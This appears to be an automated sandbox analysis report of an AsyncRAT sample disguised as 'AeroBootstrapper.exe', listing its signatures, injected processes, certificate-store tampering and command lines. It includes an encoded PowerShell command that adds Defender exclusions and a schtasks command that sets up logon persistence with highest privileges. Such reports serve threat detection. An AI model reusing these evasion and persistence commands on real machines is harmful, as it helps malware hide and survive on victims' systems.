Malware Analysis Report

2024-09-22 06:32

Sample ID 240617-xcfw6szbpc
Target AeroBootstrapper.exe
SHA256 b568a346e301f5d5f0732e6e6305e2a3f43b45c0957859aa49663ce9053af618
Tags
asyncrat default execution rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b568a346e301f5d5f0732e6e6305e2a3f43b45c0957859aa49663ce9053af618

Threat Level: Known bad

The file AeroBootstrapper.exe was found to be: Known bad.

Malicious Activity Summary

asyncrat default execution rat

AsyncRat

Async RAT payload

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Blocklisted process makes network request

Enumerates connected drives

Drops file in Windows directory

Unsigned PE

Enumerates physical storage devices

Program crash

Command and Scripting Interpreter: PowerShell

Modifies system certificate store

Delays execution with timeout.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-17 18:42

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-17 18:42

Reported

2024-06-17 18:43

Platform

win7-20240419-en

Max time kernel

38s

Max time network

39s

Command Line

"C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\N: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\SysWOW64\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\system32\msiexec.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Installer\MSI2707.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI2746.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI2757.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\f762404.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\f762404.msi C:\Windows\system32\msiexec.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d0030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeImpersonatePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1700 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1700 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe
PID 1700 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe
PID 1700 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe
PID 1700 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe
PID 1700 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
PID 1700 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
PID 1700 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
PID 1700 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
PID 2120 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2120 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2120 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2120 wrote to memory of 2652 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2120 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2120 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2120 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2120 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2652 wrote to memory of 3036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2652 wrote to memory of 3036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2652 wrote to memory of 3036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2652 wrote to memory of 3036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2572 wrote to memory of 2256 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2572 wrote to memory of 2256 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2572 wrote to memory of 2256 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2572 wrote to memory of 2256 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1296 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\msiexec.exe
PID 1296 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\msiexec.exe
PID 1296 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\msiexec.exe
PID 1296 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\msiexec.exe
PID 1296 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\msiexec.exe
PID 1296 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\msiexec.exe
PID 1296 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\msiexec.exe
PID 1524 wrote to memory of 1088 N/A C:\Windows\system32\msiexec.exe C:\Windows\system32\MsiExec.exe
PID 1524 wrote to memory of 1088 N/A C:\Windows\system32\msiexec.exe C:\Windows\system32\MsiExec.exe
PID 1524 wrote to memory of 1088 N/A C:\Windows\system32\msiexec.exe C:\Windows\system32\MsiExec.exe
PID 1524 wrote to memory of 1088 N/A C:\Windows\system32\msiexec.exe C:\Windows\system32\MsiExec.exe
PID 1524 wrote to memory of 1088 N/A C:\Windows\system32\msiexec.exe C:\Windows\system32\MsiExec.exe
PID 1524 wrote to memory of 572 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 1524 wrote to memory of 572 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 1524 wrote to memory of 572 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 1524 wrote to memory of 572 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 1524 wrote to memory of 572 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 1524 wrote to memory of 572 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 1524 wrote to memory of 572 N/A C:\Windows\system32\msiexec.exe C:\Windows\syswow64\MsiExec.exe
PID 1296 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\WerFault.exe
PID 1296 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\WerFault.exe
PID 1296 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\WerFault.exe
PID 1296 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe

"C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAcgBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAdgBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAdwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAcQB0ACMAPgA="

C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe

"C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe"

C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe

"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "%AppData%" /tr '"C:\Users\Admin\AppData\Roaming\%AppData%.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpE62.tmp.bat""

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "C:\Users\Admin\AppData\Roaming" /tr '"C:\Users\Admin\AppData\Roaming\C:\Users\Admin\AppData\Roaming.exe"'

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Windows\SysWOW64\msiexec.exe

"msiexec" /i "C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi" /qn

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\MsiExec.exe

C:\Windows\system32\MsiExec.exe -Embedding A5E1DB27298E5C71279F5620B6172271

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding DCAAC1CEF3C9A7D08CD9C085CB155FC7

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1296 -s 1552

Network

